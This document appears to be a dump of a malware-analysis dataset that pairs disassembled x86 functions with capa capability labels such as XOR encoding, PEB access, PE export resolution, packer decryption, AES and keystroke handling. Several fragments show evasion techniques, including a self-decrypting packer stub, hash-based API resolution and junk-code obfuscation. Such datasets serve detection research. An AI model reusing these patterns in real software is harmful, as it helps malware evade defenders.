joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000c07e
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x1000c0a0
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x1000c242
cmp edi, dword [ebp + 0x10]
jb 0x1000c242
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.1000bb6a
inc edi
jmp 0x1000c129
jmp 0x1000c136
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.1000bb6a
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.1000bb6a
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x1000c18a
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x1000c16e
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.1000c1b8
add dword [eax], 0x39
jle 0x1000c194
sub al, 0xf5
mov ch, al
call fcn.1000c1cd
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10

Function at 0x1000dea5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x1000debb
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x1000decc
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.1000df0d
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx
Function at 0x10010279
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x100101c2
add ebx, 0
push ecx
call 0x100101d7
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x6beac1a0
sub ebx, dword [0x6becb9df]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x6becb9cf
call fcn.1000bca1
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.1000b1af
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x10010335
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x10010335
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x100102ec
mov eax, 1
lock xchg dword [0x6becb9db], eax
push 0x3dd1fc71
call 0x10010279
push esi
add esp, 8
cmp eax, 0
jne 0x10010262
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x10010288
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x1001029d
cmp ecx, edx
cmp eax, 0
je 0x100102c2
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x100102ac
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.100102db
dec eax
loope 0x100102de
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x6becb9db], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x10010312
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x10010327
jmp 0x10010332
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x10010220
Function at 0x1001739a
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x10017670
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x6beb8653
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x6beaf619
push 0xffffffffffffffff
call fcn.1000e59a
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x10017404
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.1001741c
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x10017664
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x10017638
Function at 0x10026e6a
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10026e8c
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10026e8c
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10026e8c
ret
cmp word [ebx + 4], 0x14c
jne 0x10026e8c
test word [ebx + 0x16], 2
je 0x10026e8c
test word [ebx + 0x16], 0x100
je 0x10026e8c
cmp word [ebx + 0x18], 0x10b
jne 0x10026e8c
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10026e8c
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x10026f18
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10026eac
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1000ddf7
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10026e8c
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x10026f18
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10026e8c
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10026e8c
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10026e8c
ret
cmp word [ebx + 4], 0x14c
jne 0x10026e8c
test word [ebx + 0x16], 2
je 0x10026e8c
test word [ebx + 0x16], 0x100
je 0x10026e8c
cmp word [ebx + 0x18], 0x10b
jne 0x10026e8c
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10026e8c
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x10026f18
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10026eac
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1000ddf7
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10026e8c
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x10026fcf
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x10027028
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10026fcf
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10026fde
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1042cc81
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1002702f
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1000dea5
cmp eax, dword [ebp + 0xc]
pop eax
je 0x100270ce
add edi, 4
add eax, 2
dec ecx
jne 0x10027014
call 0x1002707b
loope 0x10027071
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x100270cb
mov dh, pe_nt_image_headers32
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x100270dc
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1002708f
cmp eax, ecx
ja 0x1002708f
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x10027119
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1002710f
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1000e384
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x10026fde
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x10027028
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10026fcf
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10026fde
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1042cc81
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1002702f
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1000dea5
cmp eax, dword [ebp + 0xc]
pop eax
je 0x100270ce
add edi, 4
add eax, 2
dec ecx
jne 0x10027014
call 0x1002707b
loope 0x10027071
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x100270cb
mov dh, pe_nt_image_headers32
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x100270dc
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1002708f
cmp eax, ecx
ja 0x1002708f
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x10027119
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1002710f
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1000e384
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0x568c5b18
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..rsrc
nop
mov ebx, 0x4304d8
mov ecx, 0x15476cf9
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x401460
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
lea ecx, [edx + 4]
push edi
push esi
push ebx
sub esp, 4
cmp eax, ecx
lea ecx, [eax + 4]
setae bl
cmp edx, ecx
setae cl
or bl, cl
je 0x401540
mov ecx, eax
or ecx, edx
and ecx, 3
jne 0x401540
mov ecx, dword [edx]
mov dword [eax], ecx
mov ecx, dword [edx + 4]
mov dword [eax + 4], ecx
mov ecx, dword [edx + 8]
mov dword [eax + 8], ecx
mov edx, dword [edx + 0xc]
mov dword [eax + 0xc], edx
movzx esi, byte [eax + 0xf]
movzx ebx, byte [eax + 0xe]
movzx edx, byte [eax + 0xd]
mov edi, 4
mov byte [esp + 3], dl
movzx edx, byte [eax + 0xc]
nop
lea esi, [esi]
test edi, 3
jne 0x401507
movzx ebx, bl
movzx ecx, byte [esp + 3]
movzx edx, dl
movzx ebx, byte [ebx + 0x4311a0]
movzx ebp, byte [ecx + 0x4311a0]
mov byte [esp + 3], bl
mov ebx, esi
movzx esi, bl
movzx ebx, byte [esi + 0x4311a0]
movzx esi, byte [edx + 0x4311a0]
mov edx, edi
shr edx, 2
mov ecx, ebp
xor cl, byte [edx + 0x431080]
mov edx, ecx
movzx ecx, byte [eax + 1]
xor dl, byte [eax]
add edi, 1
xor byte [esp + 3], cl
xor bl, byte [eax + 2]
add eax, 4
movzx ecx, byte [esp + 3]
mov byte [eax + 0xc], dl
mov byte [eax + 0xe], bl
mov byte [eax + 0xd], cl
movzx ecx, byte [eax - 1]
xor esi, ecx
mov ecx, esi
mov byte [eax + 0xf], cl
cmp edi, 0x2c
jne 0x4014c0
add esp, 4
pop ebx
pop esi
pop edi
pop ebp
ret
movzx ecx, byte [edx]
mov byte [eax], cl
movzx ecx, byte [edx + 1]
mov byte [eax + 1], cl
movzx ecx, byte [edx + 2]
mov byte [eax + 2], cl
movzx ecx, byte [edx + 3]
mov byte [eax + 3], cl
movzx ecx, byte [edx + 4]
mov byte [eax + 4], cl
movzx ecx, byte [edx + 5]
mov byte [eax + 5], cl
movzx ecx, byte [edx + 6]
mov byte [eax + 6], cl
movzx ecx, byte [edx + 7]
mov byte [eax + 7], cl
movzx ecx, byte [edx + 8]
mov byte [eax + 8], cl
movzx ecx, byte [edx + 9]
mov byte [eax + 9], cl
movzx ecx, byte [edx + 0xa]
mov byte [eax + 0xa], cl
movzx ecx, byte [edx + 0xb]
mov byte [eax + 0xb], cl
movzx ecx, byte [edx + 0xc]
mov byte [eax + 0xc], cl
movzx ecx, byte [edx + 0xd]
mov byte [eax + 0xd], cl
movzx ecx, byte [edx + 0xe]
mov byte [eax + 0xe], cl
movzx edx, byte [edx + 0xf]
mov ebx, ecx
mov byte [eax + 0xf], dl
mov esi, edx
jmp 0x4014aa
Function at 0x401670
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
movzx edx, byte [eax]
movzx edx, byte [edx + 0x4311a0]
mov byte [eax], dl
movzx edx, byte [eax + 4]
movzx edx, byte [edx + 0x4311a0]
mov byte [eax + 4], dl
movzx edx, byte [eax + 8]
movzx edx, byte [edx + 0x4311a0]
mov byte [eax + 8], dl
movzx edx, byte [eax + 0xc]
movzx edx, byte [edx + 0x4311a0]
mov byte [eax + 0xc], dl
movzx edx, byte [eax + 1]
movzx edx, byte [edx + 0x4311a0]
mov byte [eax + 1], dl
movzx edx, byte [eax + 5]
movzx edx, byte [edx + 0x4311a0]
mov byte [eax + 5], dl
movzx edx, byte [eax + 9]
movzx edx, byte [edx + 0x4311a0]
mov byte [eax + 9], dl
movzx edx, byte [eax + 0xd]
movzx edx, byte [edx + 0x4311a0]
mov byte [eax + 0xd], dl
movzx edx, byte [eax + 2]
movzx edx, byte [edx + 0x4311a0]
mov byte [eax + 2], dl
movzx edx, byte [eax + 6]
movzx edx, byte [edx + 0x4311a0]
mov byte [eax + 6], dl
movzx edx, byte [eax + 0xa]
movzx edx, byte [edx + 0x4311a0]
mov byte [eax + 0xa], dl
movzx edx, byte [eax + 0xe]
movzx edx, byte [edx + 0x4311a0]
mov byte [eax + 0xe], dl
movzx edx, byte [eax + 3]
movzx edx, byte [edx + 0x4311a0]
mov byte [eax + 3], dl
movzx edx, byte [eax + 7]
movzx edx, byte [edx + 0x4311a0]
mov byte [eax + 7], dl
movzx edx, byte [eax + 0xb]
movzx edx, byte [edx + 0x4311a0]
mov byte [eax + 0xb], dl
movzx edx, byte [eax + 0xf]
movzx edx, byte [edx + 0x4311a0]
mov byte [eax + 0xf], dl
ret
Function at 0x4019e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push edi
mov edi, eax
push esi
push ebx
lea eax, [eax + 0x10]
sub esp, 0x10
mov dword [esp + 0xc], eax
movzx ecx, byte [edi]
movzx eax, byte [edi + 1]
movzx edx, byte [edi + 3]
movzx ebx, byte [edi + 2]
mov byte [esp], al
movzx eax, cl
mov byte [esp + 0xb], cl
mov byte [esp + 1], dl
call dbg.xtime
mov byte [esp + 3], al
movzx eax, al
call dbg.xtime
mov byte [esp + 4], al
movzx eax, al
call dbg.xtime
mov byte [esp + 2], al
movzx eax, byte [esp]
call dbg.xtime
mov byte [esp + 5], al
movzx eax, al
call dbg.xtime
mov byte [esp + 6], al
movzx eax, al
call dbg.xtime
mov ebp, eax
movzx eax, bl
call dbg.xtime
mov byte [esp + 7], al
movzx eax, al
call dbg.xtime
mov byte [esp + 8], al
movzx eax, al
call dbg.xtime
mov esi, eax
movzx eax, byte [esp + 1]
call dbg.xtime
mov byte [esp + 9], al
movzx eax, al
call dbg.xtime
mov byte [esp + 0xa], al
movzx eax, al
call dbg.xtime
movzx edx, byte [esp + 3]
movzx ecx, byte [esp + 2]
xor dl, byte [esp + 4]
xor edx, ecx
xor dl, byte [esp + 5]
xor edx, ebp
xor dl, byte [esp + 8]
xor edx, esi
xor edx, eax
xor dl, byte [esp]
xor edx, ebx
xor dl, byte [esp + 1]
mov byte [edi], dl
movzx edx, byte [esp + 5]
xor edx, ecx
xor dl, byte [esp + 6]
movzx ecx, byte [esp + 0xb]
xor edx, ebp
xor dl, byte [esp + 7]
xor edx, esi
xor dl, byte [esp + 0xa]
xor edx, eax
xor edx, ecx
xor edx, ebx
xor dl, byte [esp + 1]
mov byte [edi + 1], dl
movzx edx, byte [esp + 4]
xor dl, byte [esp + 2]
add edi, 4
xor edx, ebp
xor dl, byte [esp + 7]
xor dl, byte [esp + 8]
xor edx, esi
xor dl, byte [esp + 9]
xor edx, eax
xor edx, ecx
xor dl, byte [esp]
xor dl, byte [esp + 1]
mov byte [edi - 2], dl
movzx edx, byte [esp + 3]
xor dl, byte [esp + 2]
xor dl, byte [esp + 6]
xor edx, ebp
xor edx, esi
xor dl, byte [esp + 9]
xor dl, byte [esp + 0xa]
xor eax, edx
xor eax, ecx
xor al, byte [esp]
xor eax, ebx
mov byte [edi - 1], al
cmp dword [esp + 0xc], edi
jne 0x4019f0
add esp, 0x10
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x401b50
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
movzx edx, byte [eax]
movzx edx, byte [edx + 0x4310a0]
mov byte [eax], dl
movzx edx, byte [eax + 4]
movzx edx, byte [edx + 0x4310a0]
mov byte [eax + 4], dl
movzx edx, byte [eax + 8]
movzx edx, byte [edx + 0x4310a0]
mov byte [eax + 8], dl
movzx edx, byte [eax + 0xc]
movzx edx, byte [edx + 0x4310a0]
mov byte [eax + 0xc], dl
movzx edx, byte [eax + 1]
movzx edx, byte [edx + 0x4310a0]
mov byte [eax + 1], dl
movzx edx, byte [eax + 5]
movzx edx, byte [edx + 0x4310a0]
mov byte [eax + 5], dl
movzx edx, byte [eax + 9]
movzx edx, byte [edx + 0x4310a0]
mov byte [eax + 9], dl
movzx edx, byte [eax + 0xd]
movzx edx, byte [edx + 0x4310a0]
mov byte [eax + 0xd], dl
movzx edx, byte [eax + 2]
movzx edx, byte [edx + 0x4310a0]
mov byte [eax + 2], dl
movzx edx, byte [eax + 6]
movzx edx, byte [edx + 0x4310a0]
mov byte [eax + 6], dl
movzx edx, byte [eax + 0xa]
movzx edx, byte [edx + 0x4310a0]
mov byte [eax + 0xa], dl
movzx edx, byte [eax + 0xe]
movzx edx, byte [edx + 0x4310a0]
mov byte [eax + 0xe], dl
movzx edx, byte [eax + 3]
movzx edx, byte [edx + 0x4310a0]
mov byte [eax + 3], dl
movzx edx, byte [eax + 7]
movzx edx, byte [edx + 0x4310a0]
mov byte [eax + 7], dl
movzx edx, byte [eax + 0xb]
movzx edx, byte [edx + 0x4310a0]
mov byte [eax + 0xb], dl
movzx edx, byte [eax + 0xf]
movzx edx, byte [edx + 0x4310a0]
mov byte [eax + 0xf], dl
ret

Function at 0x402180
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
push edi
push esi
push ebx
mov esi, eax
mov ebx, edx
sub esp, 4
mov dword [esp], ecx
mov ecx, dword [esp + 0x18]
cmp ecx, 1
je 0x4022b0
jle 0x402280
cmp ecx, 2
je 0x402261
cmp ecx, 3
jne 0x4022a0
mov eax, ebx
mov edx, 0x66666667
imul edx
mov eax, ebx
sar eax, 0x1f
sar edx, 2
sub edx, eax
mov ebp, edx
test ebx, ebx
js 0x4022da
mov eax, 0x811c9dc5
mov edi, esi
mov edx, eax
lea esi, [esi]
movzx eax, byte [edi]
add edi, ebp
xor eax, edx
imul edx, eax, 0x1000193
mov eax, edi
sub eax, esi
cmp ebx, eax
jge 0x4021e0
mov eax, edx
imul edx, ecx, 0x1f4
add edx, dword [esp]
cmp dword [edx*4 + 0x44d200], eax
je 0x4022d0
cmp ecx, 3
mov dword [edx*4 + 0x44d200], eax
jg 0x402254
cmp ecx, 3
mov dword [edx*4 + 0x44d200], 0
je 0x402254
cmp ecx, 2
mov dword [edx*4 + 0x44d9d0], 0
je 0x402254
cmp ecx, 1
mov dword [edx*4 + 0x44e1a0], 0
je 0x402254
mov dword [edx*4 + 0x44e970], 0
add esp, 4
mov eax, 1
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, ebx
mov edx, 0x51eb851f
imul edx
mov eax, ebx
sar eax, 0x1f
sar edx, 5
sub edx, eax
mov ebp, edx
jmp 0x4021c8
test ecx, ecx
jne 0x4022a0
mov eax, ebx
mov edx, 0x68db8bad
imul edx
mov eax, ebx
sar eax, 0x1f
sar edx, 0xc
sub edx, eax
mov ebp, edx
jmp 0x4021c8
mov ebp, 1
jmp 0x4021c8
mov eax, ebx
mov edx, 0x10624dd3
imul edx
mov eax, ebx
sar eax, 0x1f
sar edx, 6
sub edx, eax
mov ebp, edx
jmp 0x4021c8
add esp, 4
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, 0x811c9dc5
jmp 0x4021f7
Function at 0x402410
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
cmp word [eax], 0x5a4d
je 0x402420
xor eax, eax
ret
push edi
push esi
lea edi, [edx - 0xf8]
push ebx
mov esi, dword [eax + 0x3c]
mov ebx, eax
xor eax, eax
cmp edi, esi
jb 0x40243e
add esi, ebx
cmp dword [esi], 0x4550
je 0x402442
pop ebx
pop esi
pop edi
ret
cmp ecx, 0xffffffff
movzx edi, word [esi + 6]
je 0x402481
xor eax, eax
cmp edi, ecx
jbe 0x40243e
movzx edi, word [esi + 0x14]
lea ecx, [ecx + ecx*4]
lea esi, [esi + edi + 0x18]
lea ecx, [esi + ecx*8]
mov esi, dword [ecx + 0x14]
mov ecx, dword [ecx + 0x10]
lea edi, [esi + ecx]
cmp edx, edi
jb 0x40243e
mov eax, dword [esp + 0x10]
add ebx, esi
mov dword [eax], ebx
mov eax, dword [esp + 0x14]
mov dword [eax], ecx
mov eax, 1
jmp 0x40243e
lea ecx, [edi - 1]
jmp 0x40244b

Function at 0x4026d0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x1c
mov dword [esp + 4], 0x445220
mov dword [esp], 0x104
call sym._GetTempPathA_8
sub esp, 8
mov eax, 0x445220
add esp, 0x1c
ret

Function at 0x402840
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x1c
test edx, edx
mov ecx, str._TEMP__rmwdbase.sigs
je 0x402851
mov ecx, str._TEMP__rmwdbase.download
mov dword [esp + 8], 0x104
mov dword [esp + 4], eax
mov dword [esp], ecx
call sym._ExpandEnvironmentStringsA_12
sub esp, 0xc
add esp, 0x1c
ret

Function at 0x402bc0
Capabilities:
Log keystrokes

Disassembly:
push ebx
mov ebx, eax
movzx ebx, bl
sub esp, 0x18
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._MapVirtualKeyA_8
sub esp, 8
movzx eax, al
mov dword [esp], ebx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
call sym._keybd_event_16
sub esp, 0x10
add esp, 0x18
pop ebx
ret

Function at 0x402c10
Capabilities:
Log keystrokes

Disassembly:
push ebx
mov ebx, eax
movzx ebx, bl
sub esp, 0x18
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._MapVirtualKeyA_8
sub esp, 8
movzx eax, al
mov dword [esp], ebx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 2
mov dword [esp + 4], eax
call sym._keybd_event_16
sub esp, 0x10
add esp, 0x18
pop ebx
ret